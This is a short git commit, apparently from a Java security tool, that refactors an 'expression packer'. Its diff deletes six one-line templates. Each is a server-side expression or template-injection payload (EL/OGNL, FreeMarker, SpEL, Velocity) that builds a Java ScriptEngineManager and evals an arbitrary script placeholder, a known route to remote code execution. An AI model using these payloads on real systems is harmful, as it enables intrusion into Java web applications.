refactor: simplify expression packer

This commit is contained in:
ReaJason
2025-01-29 19:58:02 +08:00
parent 6fcf159d1f
commit 410ee1eff7
11 changed files with 11 additions and 57 deletions
@@ -1 +0,0 @@
"".getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')
@@ -1 +0,0 @@
${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}
@@ -1 +0,0 @@
new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')
@@ -1 +0,0 @@
(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')
@@ -1 +0,0 @@
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval('{{script}}')
@@ -1 +0,0 @@
#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')